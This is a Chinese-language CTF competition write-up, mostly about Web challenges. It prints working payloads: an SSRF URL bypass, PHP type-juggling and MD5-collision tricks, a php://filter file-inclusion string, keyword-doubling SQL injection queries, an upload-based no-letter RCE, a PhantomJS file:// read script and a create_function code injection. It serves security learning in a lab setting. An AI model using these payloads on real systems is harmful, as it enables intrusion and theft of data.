这次我还是主攻 Web 方向
感谢 @CaSO4
@EQSupreme
@Xkeo
@Ji@ang
几个大佬引导我
Web
sign_in
签到题, 在源码里面存在一个注释, 由于存在补全的 =
, 考虑 base64 解密
SSRF
可以看到这个是一个服务端伪造请求, 通过查看代码里面的注释, 可以发现我们的网址会经过过滤, regex 为 ^http:\/\/dinoctf\..*209
, 他提醒我们 flag 在 dino.php
中
要求必须是 HTTP 协议, 且开头为 dinoctf.
, 后面有 209
, 于是我们可以利用 Url 的格式来绕过
Url 的格式为: <协议>://<用户名>:<密码>@<目标host>:<端口>/<路径>;<参数>?<查询>#<片段>
我们可以让 dinoctf 变成用户名, 把 209 编程查询即可, 于是构造如下
http://dinoctf.kengwang@127.0.0.1/dino.php?209
当然, 你也可以自己解析一个域名, 二级域名为 dinoctf
, 解析到 127.0.0.1
我们将其进行 base64 编码, 即可得到 flag
phpwake
我们进入环境, 看到本题的代码:
<?php
highlight_file(__FILE__);
include("dino.php");
if(isset($_POST['hellodino']))
{
if(strcmp($_POST['hellodino'],$hellodino) == 0)
{
$d1 = $_REQUEST['d1'];
if(is_numeric($d1)){
die("Oh No");
}
switch($d1){
case 0:
echo "NONONO";
break;
case 1:
echo "hacker???";
break;
case 2:
if((string)$_POST['n']!==(string)$_POST['o'] &&
md5($_POST['n'])===md5($_POST['o'])){
echo file_get_contents("/flag");}
else
{
die("最后一步了,再试试!");
}
break;
default:
echo "不对不对!";
}
}
else
{
die("what's a shame~");
}
}
?>
我们一层一层地分析
第一层: strcmp($_POST['hellodino'],$hellodino) == 0
, 此处需要两个字符串相等, 我们尝试使用数组绕过, 绕过之后 strcmp 会 Warning
, 但是仍然会返回 0
第二层: $d1 = $_REQUEST['d1'];
第二层要求 d1 这个字符串不能为数字, 并且需要经过 switch 语句的数字 case, 于是我们尝试使用 数字+字母
进行绕过, 此种方法会在 php 弱转的时候取最开头的数字
第三层: (string)$_POST['n']!==(string)$_POST['o'] && md5($_POST['n'])===md5($_POST['o'])
此处要求 n
和 o
强转后的字符串不相等, 并且他们的 MD5 值相同
此处由于校验十分严格, 数组绕过因为强转后都是 Array
无法绕过, 所以采用最原始的 MD5 碰撞法.
我们使用 fastcoll
, 生成两个MD5相同的文件, 再用 php 进行 urlencode
后输出即可得到两个参数, 将其填入后即可拿到 flag
where_r_u_from_1
提示我们只有 127.0.0.1
的人才能访问, 我们通过 X-Forwarded-For
进行请求来源伪装
中文网站
看起来是个特别复古的 PHP 网址, 我们试着跳转几个页面, 发现 URL 里存在参数, 猜测是 include
包含利用.
经过多次测试发现需要包含 view
字串, 于是我们尝试使用 php 伪协议并且通过相对路径进行文件内容输出, 并且通过 Base64 转个码, a 参数使用
php://filter/read=convert.base64-encode/resource=view/../flag
经过 Base64 解码后得到 flag
where_r_u_from_2
诶, 这个是一个系列的题目吗? 当我们尝试使用 127.0.0.1
时发现输出了后端的代码
<?php
function getIp(){
if(!empty($_SERVER['HTTP_CLIENT_IP'])){
$cip=$_SERVER['HTTP_CLIENT_IP'];
}
elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$cip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif(!empty($_SERVER['REMOTE_ADDR'])){
$cip=$_SERVER['REMOTE_ADDR'];
}
else{
$cip='';
}
$cip=preg_replace('/\s|select|from|limit|union|join/iU','',$cip);
return $cip;
}
$query=$mysqli->query("insert into ip_records(ip,time) values ('$ip','$time')");
发现这道题是 SQL 注入, 是一个盲注, 以及过滤了参数, 我们一点一点地突破
此处可以参考 H3rmesk1t 师傅的 SQL 学习笔记, 写的很详细
通过查看 Regex 语句发现其将部分关键字替换成了空, 于是我们尝试采用双写绕过
由于是盲注, 我们先找出数据表结构, 通过 information_schemas.tables 来查找, 由于我不知道我语句抽了什么疯, 于是使用 group_concat 来组装所有数据
我们需要先闭合左侧的单引号, 把我们想要的数据写到第二列. 空格也被替换了, 我们使用 /*a*/
注释进行占位
人间大炮一级准备:
', (selselectect/*a*/group_concat(table_schema)/*a*/frfromom/*a*/information_schema.columns) );#
抓出所有的数据库名, 我们关注到 demo2
人间大炮二级准备:
', (selselectect/*a*/group_concat(table_name)/*a*/frfromom/*a*/information_schema.columns) );#
抓出所有的表名, 我们关注到flaaag
人间大炮三级准备:
', (selselectect/*a*/group_concat(column_name)/*a*/frfromom/*a*/information_schema.columns) );#
关注到fl4g
发射
', (selselectect/*a*/group_concat(fl4g)/*a*/frfromom/*a*/demo2.flaaag) );#
拿到 flag
happy_shell
小朋友, 你是否有很多问号
<?php
error_reporting(0);
highlight_file(__file__);
$code = $_GET['code'];
if(preg_match("/[a-zA-Z0-9]|\*|\&/is", $code)||strlen($code)>25){
die("休息一下吧:)");
}
$result = shell_exec($code);
var_dump($result);
?>
可以看到是个 RCE, 但是过滤了所有的数字和字母以及通配符, 这让我们很是难办, 但是却留下了一条后路 ?
, 这个后路是 ?
做完后和 @CaSO4
的交流发现存在两种办法, 我用的是最复杂的哪一种. 这种就是通过文件上传来进行.
这个方法是利用的 PHP 上传文件后会先存到 /tmp
文件夹, 并且php的缓存文件名存在大写, 我们可以通过命令中的正则匹配来找到这个文件, /???/????????[@-[]
, 这个的最后一个字符匹配的大写, 我们可能需要多次提交才能遇到一个最后一位是大写的. (这里有一个类似于条件竞争的感觉, 在 PHP 未运行完成时 /tmp
不会被删除, 因为 php 不知道之后会不会用到这个文件, 在结束 php 执行前此文件都不会被回收, 请求结束后此文件会被删除, 所以不存在两次匹配到同一文件的问题)
接下来又是第二个点了, 如何执行一个没有执行权限的文件, 在 Linux 的 sh 下有个神奇的特性, 当你使用 . <sh文件>
的时候,会忽略掉他是否可执行, 而直接把这个文件当 Shell 脚本执行.
于是我们将文件上传请求代理到 burp 中进行重放
我们可以在这里执行任意代码, 载入 payload 如下
#!/bin/bash
echo "done"
echo `ls /var/www/html`
得到
得到文件路径/var/www/html/714_ls_h3r3.php
之后再输出他, 我们可以使用通配符来输出, 得到 flag
不是 sql 注入
根据提示和出题人的说明, 这个似乎是密码爆破, 但似乎我的字典有点问题, 我适中找不到密码, 这道题参考官方 WP
Md2png
发现这个会将 Markdown 转换成 png. 而 Markdown 中允许存在 HTML 代码, 考虑利用 JavaScript.
我们可以先看看逻辑, 首先在script
中写点 Javascript, 发现 script 被过滤掉, 我们采用双写绕过
首先看看need浏览器是什么, 通过 navigator.userAgent
发现, 是
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1Safari/538.1
X11
配合PhantomJs
, PhantomJs
存在一个本地文件读取漏洞, 利用 XHR, 可以使用 File 协议访问当前文件, 于是利用此漏洞编写脚本, 构造 payload
<scrscriptipt>
xhr = new XMLHttpRequest()
xhr.onload = function(){
document.body.innerText = this.responseText
}
xhr.open('GET', "file:///var/www/html/flag.php")
xhr.send()
</scrscriptipt>
得到flag
Bad shell
进去可以看到是一个 SSRF, 在页面源代码里面可以看到逻辑:
if (isset($_GET["Command1"])) {
$com1 = $_GET["Command1"];
eval($com1);
$ob = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?", $ob);
}
这个和 CTFshow 的 web71 十分相似, 我们先尝试直接用 passthru
打, Command1
传入 passthru('cat /flag');
即可得到 flag
联合注入的本质
<?php
highlight_file(__FILE__);
include('config.php');
include("flag.php");
if(isset($_POST['key'])&&isset($_POST['code'])) {
$key = trim($_POST['key']);
$code = trim($_POST['code']);
if ($connection) {
$query = 'SELECT * from keyss where keysss="'.$key.'" or 1=1';
$result = mysqli_query($connection, $query);
$query2 = 'SELECT * from keyss';
$result2 = mysqli_query($connection, $query2);
$keysss = mysqli_fetch_assoc($result)['keysss'];
echo $keysss;
$final_key = hash_hmac('sha256',$keysss,mysqli_fetch_assoc($result2)['keysss']);
if($final_key==$code){
echo $flag;
}else{
echo "try to get key";
echo mysqli_error($connection);
}
} else {
die("connect fail: " . mysqli_connect_error());
}
}elseif(isset($_POST["info"])){
phpinfo();
}
else{
echo 'enter key,get flag';
}
分析代码可知, 这个从数据库中读入了 keyss
表并且用通配 1=1
读取了所有的行
我们先随便传入 key
和 code
, 拿到 keysss
为 Ji@ng_is_my_pig
继续分析代码, 他将这个key进行了 sha256 加密, 本地运行一个 PHP 再进行加密可得到加密后为 20491e96e4a4883a8a382e488741754e54a2ed53551187b23304954f1decb30a
进行请求后拿到 flag
出警
我们先访问 /Install
进行按安装, 我们下载网站源代码进行代码审计.
发现在 Admin/Ajax.php
L19
存在可利用函数 create_function
create_function
实际会运行一次 eval
, 我们将函数封闭后即可执行内容
function (){
// user input
}
攻击后会成为
function (){
echo 1;}; foo(); // }
我们于是构造 payload
echo 1;}; var_dump(file_get_contents('/flag')); //
MISC
OSINT-小蛮腰
经过简单的搜索发现是广州塔, 我们试着经过百度地图的街景模式大致确定了距离范围, 一番搜索之后找到 二沙岛艺术公园
wow
我们下载后得到一张图片, 首先查看 EXIF 信息, 发现相机型号中有 d1no{We1co}
使用 010 Editor 打开该照片, 文件尾得到第二部分
发现文件尾存在 unknownPadding, 分析知这也是一张图片, 对其进行分离
得到最后一个部分
Reverse
Hello_IDA
拖入查看
Hello_linux_x86
拖入查看
Hello_mac_arm
APK1 / APK2
由于时间紧张, 我们使用 MT 管理器来打吧
使用 Dex 编辑器++
打开后关注到 MainActivity
及 MainActivity$1
关注 MainActivity$1
中 onClick
函数明文 flag
同时 APK2 的密码经过了 AES 加密, 在 MainActivity
中得到解密 key 为 GenshinImpact123
我们将它解密即可得到 flag
Pwn
两道签到题, 十分对不起 @Xkeo
大佬, 大佬真的挺好的, 只不过沉迷于 Web 一直没有做 Pwn, 我的错 QAQ
后记
这次大挑战挺好玩的, 题目说难不难, 说简单不简单, 在比赛中学到了很多知识, 认识了很多大佬.
之后也会发一篇学习笔记的, 再次感谢在比赛过程中指导我的大佬们!